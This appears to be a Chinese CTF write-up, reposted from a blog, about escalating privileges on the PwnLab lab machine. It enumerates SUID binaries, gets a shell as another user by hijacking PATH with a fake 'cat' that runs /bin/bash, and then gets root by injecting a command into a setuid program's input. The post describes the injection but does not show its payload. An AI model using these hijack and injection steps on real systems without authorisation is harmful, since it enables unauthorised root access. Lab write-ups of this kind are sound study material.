主机提权篇_命令劫持&&环境变量修改

目录

前言

查找SUID文件

环境劫持无绝对路径命令

命令拼接


前言

  • SUID提权
  • 环境变量劫持
  • 命令拼接

查找SUID文件

前期通过80实现了边界突破,并利用收集到的信息成功切换到了kane用户

查找具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

or

find / -perm -4000 2>/dev/null

kane@pwnlab:/home$ find / -perm -u=s -type f 2>/dev/null

/bin/mount

/bin/su

/bin/umount

/sbin/mount.nfs

/home/kane/msgmike

/usr/bin/newgrp

/usr/bin/chfn

/usr/bin/at

/usr/bin/passwd

/usr/bin/procmail

/usr/bin/chsh

/usr/bin/gpasswd

/usr/lib/eject/dmcrypt-get-device

/usr/lib/pt_chown

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/usr/lib/openssh/ssh-keysign

/usr/sbin/exim4

查看msgmike

file msgmike

kane@pwnlab:~$ file msgmike

msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped

是一个ELF的可执行文件

运行下看看;出现了报错

kane@pwnlab:~$ ./msgmike

cat: /home/mike/msg.txt: No such file or directory

有理由怀疑脚本文件执行了cat /home/mike/msg.txt ,而msg.txt没有被创建导致了报错

查看这段二进制文件里的可打印字符, 通过strings显示打印字符我们可以大致看到程序 调用了哪些库 有哪些函数名 打印了什么字符串。

strings msgmike

kane@pwnlab:~$ strings msgmike

/lib/ld-linux.so.2

libc.so.6

_IO_stdin_used

setregid

setreuid

system

__libc_start_main

_gmon_start_

GLIBC_2.0

PTRh

QVh[

[^_]

cat /home/mike/msg.txt

;*2$"(

GCC: (Debian 4.9.2-10) 4.9.2

GCC: (Debian 4.8.4-1) 4.8.4

.symtab

.strtab

.shstrtab

.interp

.note.ABI-tag

.note.gnu.build-id

.gnu.hash

.dynsym

.dynstr

.gnu.version

.gnu.version_r

.rel.dyn

.rel.plt

.init

.text

.fini

.rodata

.eh_frame_hdr

.eh_frame

.init_array

.fini_array

.jcr

.dynamic

.got

.got.plt

.data

.bss

.comment

crtstuff.c

_JCR_LIST_

deregister_tm_clones

register_tm_clones

__do_global_dtors_aux

completed.6279

__do_global_dtors_aux_fini_array_entry

frame_dummy

__frame_dummy_init_array_entry

msgmike.c

_FRAME_END_

_JCR_END_

__init_array_end

_DYNAMIC

__init_array_start

GLOBAL_OFFSET_TABLE

__libc_csu_fini

_ITM_deregisterTMCloneTable

__x86.get_pc_thunk.bx

data_start

_edata

_fini

__data_start

system@@GLIBC_2.0

_gmon_start_

__dso_handle

_IO_stdin_used

setreuid@@GLIBC_2.0

__libc_start_main@@GLIBC_2.0

__libc_csu_init

_end

_start

_fp_hw

__bss_start

main

setregid@@GLIBC_2.0

_Jv_RegisterClasses

_TMC_END_

_ITM_registerTMCloneTable

_init

systemcat /home/mike/msg.txt 的出现 说明了 程序调用了system 执行了系统命令 cat

不过执行的cat没有使用路径的方式,这就意味着我们可以修改环境变量劫持这个命令cat

环境劫持无绝对路径命令

新建一个名为cat的文件内容为shell给执行权限, 将环境变量设置为当前目录

echo /bin/bash > cat

chmod +x cat

export PATH=.:$PATH

成功拿到mike的shell
再次寻找SUID文件

mike@pwnlab:~$ find / -perm -u=s -type f 2>/dev/null

/bin/mount

/bin/su

/bin/umount

/sbin/mount.nfs

/home/mike/msg2root

/home/kane/msgmike

/usr/bin/newgrp

/usr/bin/chfn

/usr/bin/at

/usr/bin/passwd

/usr/bin/procmail

/usr/bin/chsh

/usr/bin/gpasswd

/usr/lib/eject/dmcrypt-get-device

/usr/lib/pt_chown

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/usr/lib/openssh/ssh-keysign

/usr/sbin/exim4

命令拼接

查看/home/mike/msg2root

mike@pwnlab:/home/mike$ file msg2root

msg2root: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=60bf769f8fbbfd406c047f698b55d2668fae14d3, not stripped

这次的SUID 是root ,也就是说可以通过suid提权的方式得到root权限。

尝试运行

mike@pwnlab:/home/mike$ ./msg2root

Message for root: id

id

mike@pwnlab:/home/mike$

可能要给root发消息

查看strings

mike@pwnlab:/home/mike$ strings msg2root

/lib/ld-linux.so.2

libc.so.6

_IO_stdin_used

stdin

fgets

asprintf

system

__libc_start_main

_gmon_start_

GLIBC_2.0

PTRh

[^_]

Message for root:

/bin/echo %s >> /root/messages.txt

;*2$"(

GCC: (Debian 4.9.2-10) 4.9.2

GCC: (Debian 4.8.4-1) 4.8.4

.symtab

[后面的省略了]

这里使用了绝对路径的方式执行了echo 这就没办法使用环境变量劫持了

不过 对于/bin/echo %s >> /root/messages.txt

我们可以尝试使用命令拼接的方式(类似于sql拼接)来执行格外的命令!

成功提权到root用户

猜你喜欢

转载自blog.csdn.net/shelter1234567/article/details/131485068